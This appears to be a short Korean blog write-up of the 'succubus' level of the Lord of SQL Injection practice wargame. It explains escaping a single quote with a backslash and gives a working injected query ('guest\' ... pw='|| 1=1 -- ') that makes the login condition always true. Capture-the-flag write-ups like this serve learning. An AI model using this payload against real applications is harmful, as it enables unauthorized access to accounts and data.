반응형
문제
https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php
https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php
los.rubiya.kr
문제풀이
작은따옴표 우회는 백슬러시를 이용해 작은따옴표를 문자 취급한다.
pw 전 작은따옴표까지 묶이게 된다.
select id from prob_succubus where id='guest\' and pw='|| 1=1 -- '
반응형
'write-up(web) > los' 카테고리의 다른 글
| [LOS] nightmare (0) | 2023.01.22 |
|---|---|
| [LOS] zombie_assassin (0) | 2023.01.22 |
| [LOS] assassin (0) | 2023.01.22 |
| [LOS] giant (0) | 2023.01.22 |
| [LOS] bugbear (0) | 2023.01.22 |